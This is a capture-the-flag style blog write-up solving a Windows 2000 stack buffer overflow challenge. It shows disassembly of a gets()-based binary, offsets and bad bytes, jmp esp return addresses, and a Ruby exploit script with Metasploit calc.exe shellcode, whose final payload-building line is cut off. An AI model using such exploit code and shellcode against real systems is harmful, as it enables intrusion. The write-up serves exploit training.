Advanced Windows Buffer Overflows: Take #1

In the previous post I mentioned some interesting exploit challenges were setup online by Lurene Grenier. Today, just like we did back in the day with Gera's challenges, we're going to cover them and show some possible solutions to it. Essentially we will follow the same approach we did back in the day, the main differences are that this time we're facing a win32 environment and that the challenges are distributed as pure binaries, no source code. As stated in the challenge site, we need to setup a Windows 2000 SP4 box with the standard tools of the trade on it. In my case I included Immunity Debugger and Cygwin (with Ruby). Taking a look at the challenge in IDA we can see the following:
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 1028
.text:00401009                 push    ebx
.text:0040100A                 push    esi
.text:0040100B                 push    edi
.text:0040100C                 int     3               ; Trap to Debugger
.text:0040100D                 lea     eax, [ebp+Buffer]
.text:00401013                 mov     [ebp+var_4], eax
.text:00401016                 lea     ecx, [ebp+Buffer]
.text:0040101C                 push    ecx             ; Buffer
.text:0040101D                 call    _gets
.text:00401022                 add     esp, 4
.text:00401025                 mov     edx, [ebp+var_4]
.text:00401028                 push    edx
.text:00401029                 push    offset Format   ; "You sent me: %s"
.text:0040102E                 call    _printf
.text:00401033                 add     esp, 8
.text:00401036                 pop     edi
.text:00401037                 pop     esi
.text:00401038                 pop     ebx
.text:00401039                 mov     esp, ebp
.text:0040103B                 pop     ebp
.text:0040103C                 retnFirst of all, I patched the binary in the debugger to avoid the annoying "int 3" instruction every execution. Then, onto exploit duties. This time we don't need to make a huge reversing effort because the code is quite self explaining. The challenge simply receives some input from the user using
gets() and then prints it back in the screen. Just in case you didn't already know, MSDN is very clear in his explanation when he says:
Security Note Because there is no way to limit the number of characters read by gets, untrusted input can easily cause buffer overruns. Use fgets instead.
What else can I say...In the course of my testing I used metasploit's very own pattern_create and pattern_offset tools to locate areas where the input data should be carefully chosen to avoid parsing errors. After some more research we can summarize the restrictions for the exploit as the following:
  • DWORD at offset 1024 should contain readable data.
  • The return address is at offset 1032, hence we need 4 bytes of padding between the previous readable DWORD and the return address.
  • Forbidden bytes: 0x00, 0x0a and 0x0d.
Under this constraints I found at that using address 0x784AE540 inside .data section of ntdll.dll did the job. For the return address I looked for the traditional "jmp esp" instruction and chose the one at 0x794529DB inside kernel32.dll. Now the easiest way would be to simply place the shellcode after the return address and let it run. Thing is thought, there's very little space after the return address till the top of the stack (~120 bytes) so, we need to think of something else. Also, during my attempts I noticed that every time I launched the app from either Ruby or Python, the input I fed into the apps stdin kept getting located in the .data memory section. To overcome this last two barriers, I decided to write a small piece of code that would jump directly to the shellcode in the .data section (No DEP in Win2K). Mind you, since a far jmp takes 32 bits as an argument, and the address we're jumping into begins also with a null byte, we will have a null byte in our input string. Fortunately, since this piece of code will be the last in our string, we dont mind closing it with a null byte. All things considered, this is the Ruby code I built to pop a calculator:
#!/usr/bin/env ruby

# windows/exec - 304 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=process, CMD=calc.exe
shellcode = "\x89\xe0\xdd\xc5\xd9\x70\xf4\x5e\x56\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x4b\x4c\x4b\x58\x50\x44\x45\x50\x43\x30" +
"\x45\x50\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55" +
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b" +
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" +
"\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4d\x49\x4e\x4c" +
"\x4b\x34\x49\x50\x44\x34\x43\x37\x49\x51\x48\x4a\x44\x4d" +
"\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x46\x34\x51\x34" +
"\x43\x34\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x46\x44\x43\x31" +
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" +
"\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" +
"\x4a\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x48\x43\x51\x4f" +
"\x46\x51\x4c\x36\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36" +
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" +
"\x4e\x4d\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4b\x33" +
"\x49\x50\x42\x4a\x46\x30\x42\x48\x43\x4e\x49\x48\x4b\x52" +
"\x42\x53\x42\x48\x4c\x58\x4b\x4e\x4c\x4a\x44\x4e\x50\x57" +
"\x4b\x4f\x4b\x57\x43\x53\x43\x51\x42\x4c\x42\x43\x46\x4e" +
"\x42\x45\x42\x58\x45\x35\x43\x30\x41\x41"

# jump offset
jmp = "\xE9\x80\x6E\x2D\x00"

# kernel32.dll - JMP ESP
ret_addr = "\xDB\x29\x45\x79"

# build the egg
egg = ("\x90"*(1020-shellcode.length))<<"PADD"<<"\x40\xE5\x4A\x78"<<"PADD"<
              
$ ./exp.rb | ./awbo2_.exe
I hope you enjoyed the tour, more coming up soon! :)